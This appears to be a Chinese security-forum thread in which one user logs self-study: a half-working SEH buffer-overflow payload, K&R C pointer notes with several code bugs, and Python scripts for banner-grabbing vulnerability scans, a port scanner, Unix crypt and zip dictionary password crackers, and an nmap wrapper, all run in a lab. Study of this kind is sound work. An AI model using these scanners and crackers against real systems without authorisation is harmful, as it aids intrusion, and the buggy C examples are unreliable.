Rank: 4

积分
731
 楼主| 发表于 2020-5-6 00:21:24 | 显示全部楼层
本帖最后由 pukr 于 2020-5-6 15:36 编辑

SEH栈溢出未完待续。
上面的poc,在测试时
  1. shellcode="a"*1037+"b"*4+"c"*4+"e"*(10000-1037-8)
复制代码
这个没有问题

  1. payload="a"*1037+nseh+seh+"\x90"*30+shellcode+"b"*(10000-1037-8-30-1097)
复制代码
这个就出了问题,跳转到了另一个地址,连原本已经准确覆盖好的的SEH和nSEH都发生了变化。经测试可能为内存对齐问题。但是改动多次并没有解决。

在immunity debugger那绣花般的小绿字里调试了好几个小时终于找到了症结,却没找到解药。
回复

使用道具 举报

46

主题

165

帖子

731

积分

高级会员

Rank: 4

积分
731
 楼主| 发表于 2020-5-7 23:49:22 | 显示全部楼层
2020-05-07

明天再更新过程,发张图证明今天的成果。


本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

46

主题

165

帖子

731

积分

高级会员

Rank: 4

积分
731
 楼主| 发表于 2020-5-11 23:01:59 | 显示全部楼层
2020-05-11
觉得代码基础太弱,在补C语言
如果p是一个指向数组中某个元素的指针,`p+=i`指向p所指当前元素后第i个元素,这是最简单的形式。

例:一个不完善的存储分配程序。malloc和free函数的缩水版。

`alloc(n)`返回一个指向n个连续字符存储单元的指针,alloc的调用者可利用该指针存储字符序列。afree(p)释放已分配的存储空间。
标准库中提供了类似功能的函数malloc和free。

  1. #define ALLOCSIZE 10000

  2. static char allocbuf[ALLOCSIZE];
  3. static char *allocp = allocbuf;

  4. char *alloc(int n)
  5. {
  6.         if(allocbuf + ALLOCSIZE - allocp >= n){
  7.                 allocp+=n;
  8.                 return allocp - n;               
  9.         }
  10.         else
  11.                 return 0;
  12. }
  13. void afree(char *p){
  14.         if(p >= allocbuf && p<allocbuf+ALLOCSIZE)
  15.                 allocp = *p;
  16. }
复制代码
在这段程序中,alloc函数对一个大数组allocbuf中的空间进行分配。allocbuf是`alloc`与`afree`的私有数组,故可以设置成static类型。

当调用alloc申请n个单元的空间时,alloc检查allocbuf中有没有足够的空间,有则返回allocp的当前位置,即空闲空间的首地址;没有则返回0。(一般整数与指针间不能相互转换,但0是唯一的例外。0可以复制给指针,指针也可以与0进行比较。不过经常用NULL代替0)

当两个指针指向同一数组的时候可以进行比较,但是指向不同数组的指针进行比较没有意义。



指针可以和整数进行加减运算,`p+n`表示指针p当前指向的对象之后第n个对象的地址。其中n将根据p指向的对象的长度按比例缩放,而p指向对象的长度取决于p的声明。

例如,如果int类型占4字节的存储空间,则int类型的计算中,对应的n将按照4的倍数来运算。

指针的减法:若p、q指向同一个数组中的元素,`p-q+1`表示p与q所指向元素之间元素的数目。如简易版srtlen函数:

  1. int strlen(char *s)
  2. {
  3.         char *p=s;
  4.        
  5.         while(*p != '/0')
  6.                 p++;
  7.         return p-s;
  8. }
复制代码
# 字符指针与函数
  1. char amessage[] = "now is the time";
  2. char *pmessage = "now is the time";
复制代码
amessage仅仅是一个存放了初始化字符串的一维数组,单个字符可以修改,但amessage始终指向同一个空间。
pmessage是指向一个字符串常量的指针,之后可以指向其他地址,但不可以修改字符串内容。

# 指针数组与指向指针的指针
指针也是变量,可以存储在数组中。
下面这个例子说的是针对文本行的排序。如果待排序的文本行首尾相连的存储在一个长字符数组中,那么每个文本行可通过指向它的第一个字符的指针来访问。这些指针本身可以存储在一个数组中。

  1. #include<stdio.h>
  2. #include<string.h>

  3. #define MAXLINE 5000

  4. char *lineptr[MAXLINE];

  5. int readlines(char *lineptr[],int nlines);
  6. void writelines(char *lineptr[],int nlines);

  7. void qsort(char *lineptr[],int left,int right);

  8. main(){
  9.         int nlines;
  10.         if((nlines = readlines(lineptr,MAXLINES)) >= 0){
  11.                 qsort(lineptr,0,nlines-1);
  12.                 writelines(lineptr,nlines);
  13.                 return 0;
  14.         }
  15.         else{
  16.                 printf("err: input too big to sort");
  17.                 return 1;               
  18.         }       
  19. }

  20. #define MAXLEN 1000
  21. int getline(char *,int);
  22. char *alloc(int);

  23. int readlines(char *lineptr[],int maxlines)
  24. {
  25.         int len,nlines;
  26.         char *p,line[MAXLEN];
  27.         nlines = 0;
  28.         while((len = getline(len,MAXLEN)) >= 0)
  29.                 if(nlines >= maxlines || (p=alloc(len)) == NULL)
  30.                         return -1;
  31.                 else{
  32.                         line[len-1] = '\0';
  33.                         strcpy(p,line);
  34.                         lineptr[nlines++] = p;
  35.                 }
  36.         return nlines;
  37. }

  38. void writelines(char *lineptr[],int nlines)
  39. {
  40.         int i;
  41.        
  42.         for(i=0;i<nlines;i++)
  43.                 printf("%s\n",lineptr[i]);
  44. }
复制代码


回复

使用道具 举报

46

主题

165

帖子

731

积分

高级会员

Rank: 4

积分
731
 楼主| 发表于 2020-7-5 19:45:34 | 显示全部楼层
利用python进行网络连接及异常处理
windows xp:192.168.10.23,开启了漏洞程序FTP Utility,端口为22。
  1. import socket
  2. socket.setdefaulttimeout(2)
  3. s = socket.socket()
  4. try:
  5.         s.connect(("192.168.10.23",22))
  6. except Exception as e:
  7.         print("[-] Error = " + str(e))
  8. else:
  9.         ans = s.recv(1024)
  10.         print(ans)
复制代码
输出信息:
  1. root@kali430:/home# python3 test.py
  2. b'220 FTP Utility FTP server (Version 1.00) ready.\r\n'
复制代码
若是有错误,则:
  1. root@kali430:/home# python3 test.py
  2. [-] Error = timed out
复制代码

端口扫描器
利用已知漏洞程序的返回信息,判断返回信息是否对应。
首先是一个网络连接程序。
  1. import socket
  2. def retBanner(ip,port):
  3.     socket.setdefaulttimeout(2)
  4.     s = socket.socket()
  5.     try:
  6.         s.connect((ip,port))
  7.         banner = s.recv(1024)
  8.         #print(banner)
  9.         return banner
  10.     except Exception as e:
  11.         print("[-] Error = " + str(e))
  12. def main():
  13.     ip1 = '192.168.10.23'
  14.     ip2 = '192.168.10.4'
  15.     port = 22
  16.    
  17.     banner1 = retBanner(ip1,port)
  18.     if banner1:
  19.         print('[+] '+ip1+': '+str(banner1))
  20.     else:
  21.         print(banner1)
  22.    
  23.     banner2 = retBanner(ip2,port)
  24.     if banner2:
  25.         print('[+] '+ip2+': '+str(banner2))
  26.     else:
  27.         print(banner2)
  28. if __name__ == '__main__':
  29.     main()
复制代码

返回信息:
  1. root@kali430:/home# python3 test.py
  2. [+] 192.168.10.23: b'220 FTP Utility FTP server (Version 1.00) ready.\r\n'
  3. [-] Error = timed out
  4. None
复制代码
然后改进为从文件读取漏洞信息并进行判断,顺便将端口和ip放入循环。
  1. import sys
  2. import socket
  3. if len(sys.argv) == 2:
  4.     filename = sys.argv[1]
  5.     print("[+] Reading Vulnerabilities From: "+ filename)
  6.    
  7.     def retBanner(ip,port):
  8.         socket.setdefaulttimeout(2)
  9.         s = socket.socket()
  10.         try:
  11.             s.connect((ip,port))
  12.             banner = s.recv(1024)
  13.             return banner
  14.         except:
  15.             return
  16.     def checkVulns(banner):
  17.         f = open(filename,'r')
  18.         for line in f.readlines():
  19.             if line.strip('\n') in str(banner):
  20.                 print("[+] Server is vulnerable: "+str(banner).strip('\n'))
  21.     def main():
  22.         portlist = [21,22,25,80,443]
  23.         for x in range(1,255):
  24.             ip = '192.168.10.' + str(x)
  25.             for port in portlist:
  26.                 banner = retBanner(ip,port)
  27.                 if banner:
  28.                     print('[+] ' + ip + ': '+ str(banner))
  29.                     checkVulns(banner)
  30.    
  31.     if __name__ == '__main__':
  32.         main()
复制代码


设计的漏洞信息库:(只是做一个示例,所以信息较少)
  1. FTP Utility FTP server (Version 1.00)
  2. PSO Proxy 0.9
  3. Xitami
  4. WinGate 6.1.1
复制代码
继续改进,加入若不存在文件或者拒绝访问处理。
  1. import sys
  2. import socket
  3. import os

  4. def retBanner(ip,port):
  5.     socket.setdefaulttimeout(20)
  6.     s = socket.socket()
  7.     try:
  8.         s.connect((ip,port))
  9.         banner = s.recv(1024)
  10.         return banner                          
  11.     except:
  12.         return
  13. def checkVulns(filename,banner):
  14.     f = open(filename,'r')
  15.     for line in f.readlines():
  16.         if line.strip('\n') in str(banner):
  17.             print("[+] Server is vulnerable: "+str(banner).strip('\n'))
  18. def main():
  19.     if len(sys.argv) == 2:
  20.         filename = sys.argv[1]
  21.         if not os.path.isfile(filename):
  22.             print('[-] ' + filename + ' does not exist.')
  23.             exit(0)
  24.         if not os.access(filename,os.R_OK):
  25.             print('[-] ' + filename + ' access denied.')
  26.             exit(0)
  27.         else:
  28.             print("[+] Reading Vulnerabilities From: "+ filename)
  29.             portlist = [21,22,25,80,443]
  30.             #portlist = [21,22]
  31.             for x in range(1,255):            
  32.             #for x in range(22,24):
  33.                 ip = '192.168.10.' + str(x)
  34.                 for port in portlist:
  35.                     banner = retBanner(ip,port)
  36.                     if banner:
  37.                         print('[+] ' + ip + ': '+ str(banner))
  38.                         checkVulns(filename,banner)
  39.     else:
  40.         print('[-] Usage: '+str(sys.argv[0])+' <vuln finename>')
  41.         exit(0)
  42.            
  43. if __name__ == '__main__':
  44.         main()
复制代码



回复

使用道具 举报

46

主题

165

帖子

731

积分

高级会员

Rank: 4

积分
731
 楼主| 发表于 2020-7-6 22:10:20 | 显示全部楼层
30年前的unix系统口令字典破解:
  1. import crypt
  2. def testPass(cryptPass):
  3.     #print("233")
  4.     salt = cryptPass[0:2]
  5.     #print(salt)
  6.     dictFile = open('dictionary.txt','r')
  7.     for word in dictFile.readlines():
  8.         word = word.strip('\n')
  9.         #print(word)
  10.         cryptWord = crypt.crypt(word,salt)
  11.         #print(cryptWord)
  12.         if(cryptWord == cryptPass):
  13.             print("[+] Found Password: "+word+"\n")
  14.             return
  15.     print("[-] Password not Found.\n")
  16.     return
  17. def main():
  18.     passFile = open('password.txt')
  19.     for line in passFile.readlines():
  20.         if ":" in line:
  21.             user = line.split(':')[0]
  22.             cryptPass = line.split(':')[1].strip(' ')
  23.             print("[*] Craking password for: "+user)
  24.             testPass(cryptPass)
  25. if __name__ == '__main__':
  26.     main()
复制代码


txt文件内容:
  1. root@kali430:/home/pythontest# cat dictionary.txt
  2. hello
  3. java1
  4. egg
  5. python
  6. root@kali430:/home/pythontest# cat password.txt
  7. root: HX9LLTdc/jiDE: 504:100: Markus Hess:/root:/bin/bash
复制代码


**zipfile库与加密压缩包口令爆破
先test一下zipfile的基本用法:


  1. import zipfile
  2. myzip = zipfile.ZipFile('test.zip')
  3. print(myzip.filename)
  4. print(myzip.namelist())

  5. proxyfile = myzip.getinfo(r'test/tttest/hello.py')
  6. #文件大小
  7. print(proxyfile.file_size)
  8. #文件头的卷标
  9. print(proxyfile.volume)
  10. #压缩后的文件大小
  11. print(proxyfile.compress_size)
  12. a = myzip.read(r'test/tttest/hello.py').decode('utf-8')
  13. print(a)

  14. b = myzip.open(proxyfile)
  15. print(b.read().decode('utf-8'))
  16. b.close

  17. myzip.extractall('./new/')
复制代码

  1. C:\Users\Administrator\Python\Python37\python.exe D:/233/test2.py
  2. test.zip
  3. ['test/', 'test/044H935Q-15.jpg', 'test/tttest/', 'test/tttest/hello.py']
  4. 21
  5. 0
  6. 23
  7. print('hello,world!')
  8. print('hello,world!')

  9. Process finished with exit code 0
复制代码


测试口令工作量巨大,所以我们可以开启多线程来进行(threading),并且指定字典和zip文件(optparse)。
  1. import zipfile
  2. import optparse
  3. from threading import Thread
  4. def extractFile(zFile,password):
  5.     try:
  6.         password = bytes(password,encoding='utf-8')
  7.         zFile.extractall(pwd=password)
  8.         print('[+] Found password ' + password + '\n')
  9.     except:
  10.         #print("not this")
  11.         pass
  12.         

  13. def main():
  14.     parser = optparse.OptionParser("usage%prog "+"-f <zipfile> -d <dictionary>")
  15.     parser.add_option('-f',dest='zname',type='string',help='specify zip file')
  16.     parser.add_option('-d',dest='dname',type='string',help='specify dictionary file')
  17.     (options,args)=parser.parse_args()
  18.     if (options.zname == None) | (options.dname == None):
  19.         print(parser.usage)
  20.         exit(0)
  21.     else:
  22.         zname = options.zname
  23.         dname = options.dname
  24.     #print(zname)
  25.     #print(dname)
  26.     zFile = zipfile.ZipFile(zname)
  27.     print(zFile.namelist())
  28.     passFile = open(dname)
  29.     for line in passFile.readlines():
  30.         password = line.strip('\n')
  31.         #print(password)
  32.         #extractFile(zFile,password)
  33.         t = Thread(target=extractFile,args=(zFile,password))
  34.         t.start()

  35. if __name__ == '__main__':
  36.     main()
复制代码
这里extractall函数传参的时候,要传入bytes格式,我花了很长时间来找到这个原因并进行转换。
回复

使用道具 举报

46

主题

165

帖子

731

积分

高级会员

Rank: 4

积分
731
 楼主| 发表于 2020-7-7 21:27:00 | 显示全部楼层
端口扫描器v2.0
先设计连接函数和端口判断函数:


  1. import optparse
  2. from socket import *
  3. def connScan(tgtHost,tgtPort):
  4.     try:
  5.         connSkt = socket(AF_INET,SOCK_STREAM)
  6.         connSkt.connect((tgtHost,tgtPort))
  7.         print("[+] '%d'/tcp open "% tgtPort)
  8.         connSkt.close()
  9.     except:
  10.         print("[-] '%d'/tcp closed "% tgtPort)
  11.         
  12. def portScan(tgtHost,tgtPorts):
  13.     try:
  14.         tgtIP = gethostbyname(tgtHost)
  15.     except:
  16.         print("[-] Cannot resolve '%s': Uknown host"%tgtHost)
  17.         return   
  18.     try:
  19.         tgtName = gethostbyaddr(tgtIP)
  20.         print('\n'+'[+] Scan Results for: '+tgtName[0])
  21.     except:
  22.         print('\n'+'[+] Scan Results for: '+tgtIP)
  23.     setdefaulttimeout(1)
  24.     for tgtPort in tgtPorts:
  25.         print('Scanning port '+tgtPort)
  26.         connScan(tgtHost,int(tgtPort))
复制代码
然后在这个基础上添加数据接收功能,根据接收到的数据判断端口上运行着哪些应用。
并且根据timeout的值,扫描时间也会成倍增加,所以开启多线程,批量扫描socket而不是一个一个来。
补充知识:Semaphoro并发控制
如果多个线程同时进行IO操作,很可能出现乱码或者失序,甚至可能造成服务器死机。为了让一个函数获得完整的屏幕控制权,使用一个信号量(semaphore)。输出前使用screen.acquire()加锁。
  1. import time
  2. import threading


  3. def test():
  4.     time.sleep(2)
  5.     print(time.ctime())


  6. for i in range(20):
  7.     t=threading.Thread(target=test,args=())
  8.     t.start()
复制代码

结果如下:
  1. Tue Jul  7 14:55:34 2020
  2. Tue Jul  7 14:55:34 2020
  3. Tue Jul  7 14:55:34 2020
  4. Tue Jul  7 14:55:34 2020Tue Jul  7 14:55:34 2020Tue Jul  7 14:55:34 2020

  5. Tue Jul  7 14:55:34 2020

  6. Tue Jul  7 14:55:34 2020Tue Jul  7 14:55:34 2020Tue Jul  7 14:55:34 2020
  7. Tue Jul  7 14:55:34 2020
  8. Tue Jul  7 14:55:34 2020Tue Jul  7 14:55:34 2020



  9. Tue Jul  7 14:55:34 2020
  10. Tue Jul  7 14:55:34 2020
  11. Tue Jul  7 14:55:34 2020
  12. Tue Jul  7 14:55:34 2020
  13. Tue Jul  7 14:55:34 2020
  14. Tue Jul  7 14:55:34 2020
  15. Tue Jul  7 14:55:34 2020
复制代码

加信号量锁之后:

  1. import time
  2. import threading

  3. s = threading.Semaphore(5)


  4. def test():
  5.     s.acquire()
  6.     time.sleep(2)
  7.     print(time.ctime())
  8.     s.release()


  9. for i in range(20):
  10.     t = threading.Thread(target=test,args=())
  11.     t.start()
复制代码

输出信息:
  1. Tue Jul  7 15:00:39 2020
  2. Tue Jul  7 15:00:39 2020
  3. Tue Jul  7 15:00:39 2020
  4. Tue Jul  7 15:00:39 2020Tue Jul  7 15:00:39 2020

  5. Tue Jul  7 15:00:41 2020Tue Jul  7 15:00:41 2020Tue Jul  7 15:00:41 2020


  6. Tue Jul  7 15:00:41 2020Tue Jul  7 15:00:41 2020

  7. Tue Jul  7 15:00:43 2020Tue Jul  7 15:00:43 2020

  8. Tue Jul  7 15:00:43 2020
  9. Tue Jul  7 15:00:43 2020
  10. Tue Jul  7 15:00:43 2020
  11. Tue Jul  7 15:00:45 2020Tue Jul  7 15:00:45 2020
  12. Tue Jul  7 15:00:45 2020
  13. Tue Jul  7 15:00:45 2020

  14. Tue Jul  7 15:00:45 2020
复制代码

最终完成版本:
  1. import optparse
  2. from threading import *
  3. from socket import *

  4. screenLock = Semaphore(value=1)

  5. def connScan(tgtHost,tgtPort):
  6.     try:
  7.         connSkt = socket(AF_INET,SOCK_STREAM)
  8.         connSkt.connect((tgtHost,tgtPort))
  9.         results = connSkt.recv(100)
  10.         screenLock.acquire()
  11.         print("[+] '%d'/tcp open "% tgtPort)
  12.         print('[+] '+str(results))
  13.     except:
  14.         screenLock.acquire()
  15.         print("[-] '%d'/tcp closed "% tgtPort)
  16.     finally:
  17.         screenLock.release()
  18.         connSkt.close()
  19.         
  20.    
  21. def portScan(tgtHost,tgtPorts):
  22.     try:
  23.         tgtIP = gethostbyname(tgtHost)
  24.     except:
  25.         print("[-] Cannot resolve '%s': Uknown host"%tgtHost)
  26.         return   
  27.     try:
  28.         tgtName = gethostbyaddr(tgtIP)
  29.         print('\n'+'[+] Scan Results for: '+tgtName[0])
  30.     except:
  31.         print('\n'+'[+] Scan Results for: '+tgtIP)
  32.     setdefaulttimeout(5)
  33.     for tgtPort in tgtPorts:
  34.         t = Thread(target=connScan,args=(tgtHost,int(tgtPort)))
  35.         t.start()
  36.         #print('Scanning port '+tgtPort)
  37.         #connScan(tgtHost,int(tgtPort))
  38. def main():
  39.     parser = optparse.OptionParser("usage%prog "+"-H <target host> -p <target port>")
  40.     parser.add_option('-H',dest='tgtHost',type='string',help='specify target host')
  41.     parser.add_option('-p',dest='tgtPort',type='string',help='specify target port[s] separated by comma')
  42.     (options,args) = parser.parse_args()
  43.     tgtHost = options.tgtHost
  44.     tgtPorts = str(options.tgtPort).split(',')
  45.     if (tgtHost ==  None)|(tgtPorts[0] == None):
  46.         #print('[-] You must specify a target host and port[s]')
  47.         print(parser.usage)
  48.         exit(0)
  49.     portScan(tgtHost,tgtPorts)

  50. if __name__ == '__main__':
  51.     main()
复制代码

输出信息:
  1. root@kali430:/home/pythontest# python3 dksm.py -H 192.168.10.23 -p 21,22,80

  2. [+] Scan Results for: localhost
  3. [-] '21'/tcp closed
  4. [+] '22'/tcp open
  5. [+] b'220 FTP Utility FTP server (Version 1.00) ready.\r\n'
  6. [-] '80'/tcp closed
复制代码

python中有强大的Nmap工具包可以使用。
  1. import nmap
  2. import optparse

  3. def nmapScan(tgtHost,tgtPort):
  4.     nmScan = nmap.PortScanner()
  5.     nmScan.scan(tgtHost,tgtPort)
  6.     state = nmScan[tgtHost]['tcp'][int(tgtPort)]['state']
  7.     print("[*] "+tgtHost+" tcp/"+tgtPort+" "+state)
  8.    
  9.    
  10. def main():
  11.     parser = optparse.OptionParser('usage%prog '+'-H <target host> -p <target port>')
  12.     parser.add_option('-H',dest='tgtHost',type='string',help='specify target host')
  13.     parser.add_option('-p',dest='tgtPort',type='string',help='specify target port')
  14.     (options,args)=parser.parse_args()
  15.     tgtHost=options.tgtHost
  16.     tgtPorts=str(options.tgtPort).split(',')
  17.     if (tgtHost == None) | (tgtPorts[0] == None):
  18.         print(parser.usage)
  19.         exit(0)
  20.     for tgtPort in tgtPorts:
  21.         nmapScan(tgtHost,tgtPort)


  22. if __name__ == '__main__':
  23.     main()
复制代码
  1. root@kali430:/home/pythontest# python3 dksm.py -H 192.168.10.23 -p 21,22,80
  2. [*] 192.168.10.23 tcp/21 closed
  3. [*] 192.168.10.23 tcp/22 open
  4. [*] 192.168.10.23 tcp/80 closed
复制代码


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-28 00:44 , Processed in 0.020331 second(s), 17 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表